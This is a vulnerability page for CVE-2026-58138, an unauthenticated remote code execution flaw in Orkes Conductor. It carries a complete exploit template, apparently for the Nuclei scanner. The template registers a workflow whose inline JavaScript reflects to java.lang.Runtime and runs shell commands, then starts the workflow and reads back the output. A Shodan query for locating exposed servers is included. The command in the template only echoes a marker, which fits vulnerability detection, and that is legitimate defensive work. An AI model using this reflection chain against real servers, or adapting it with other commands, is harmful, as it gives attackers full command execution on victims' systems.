CVE-2026-58138: Orkes Conductor 3.21.21-3.30.1 - Remote Code Execution

2026-08-16 Orkes Conductor PoC Public

Description

Orkes Conductor from 3.21.21 before 3.30.2 is vulnerable to unauthenticated remote code execution. The INLINE workflow task evaluates a user-supplied JavaScript expression in a GraalVM context created with HostAccess.ALL, so an unauthenticated attacker can reflect from the bound input object to java.lang.Runtime and execute arbitrary operating system commands through the workflow API.

PoC

id: CVE-2026-58138

info:
  name: Orkes Conductor 3.21.21-3.30.1 - Remote Code Execution
  author: aryu-ru
  severity: critical
  description: |
    Orkes Conductor from 3.21.21 before 3.30.2 is vulnerable to unauthenticated remote code execution. The INLINE workflow task evaluates a user-supplied JavaScript expression in a GraalVM context created with HostAccess.ALL, so an unauthenticated attacker can reflect from the bound input object to java.lang.Runtime and execute arbitrary operating system commands through the workflow API.
  impact: |
    A remote, unauthenticated attacker can execute arbitrary operating system commands on the Conductor server.
  remediation: |
    Upgrade to Orkes Conductor 3.30.2 or later, which disables host class loading in the script evaluators.
  reference:
    - https://www.vulncheck.com/advisories/orkes-conductor-unauthenticated-rce-via-graalvm-script-evaluators
    - https://github.com/conductor-oss/conductor/commit/c691e35e768caeb802c9f06ecdd9674c80081af1
    - https://github.com/conductor-oss/conductor/releases/tag/v3.30.2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58138
    - https://github.com/BiiTts/CVE-2026-58138-Conductor-Unauth-RCE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58138
    epss-score: 0.09257
    epss-percentile: 0.95094
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: conductor-oss
    product: conductor
    shodan-query: http.title:"Conductor UI"
  tags: cve,cve2026,conductor,graalvm,rce,intrusive,vkev

variables:
  wfname: "{{rand_text_alpha(12)}}"
  marker: "{{rand_text_alphanumeric(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/metadata/workflow HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{wfname}}", "version": 1, "schemaVersion": 2, "ownerEmail": "test@test.com", "tasks": [{"name": "n", "taskReferenceName": "n", "type": "INLINE", "inputParameters": {"evaluatorType": "javascript", "expression": "var k=$.getClass().getClass();var S=k.getMethod('getName').getReturnType();var forName=k.getMethod('forName',S);var L=function(n){return forName.invoke(null,[n]);};var RT=L('java.lang.Runtime');var rt=RT.getMethod('getRuntime').invoke(null,[]);var I=L('java.lang.Integer').getField('TYPE').get(null);var A=L('java.lang.reflect.Array');var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'echo {{marker}}-$((6*7))']);var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"} }]}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        POST /api/workflow/{{wfname}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

    extractors:
      - type: regex
        name: wfid
        internal: true
        group: 1
        regex:
          - "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"

  - raw:
      - |
        GET /api/workflow/{{wfid}}?includeTasks=true HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}-42"

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e130595bcd6271e9a4838dc2923935b4cc2cd2dafa79d8a5328208ec8d3c5147022078887859797b7b7c4c95abff4c4d671510beb72cb91ed6eae7affa1d77c428b3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities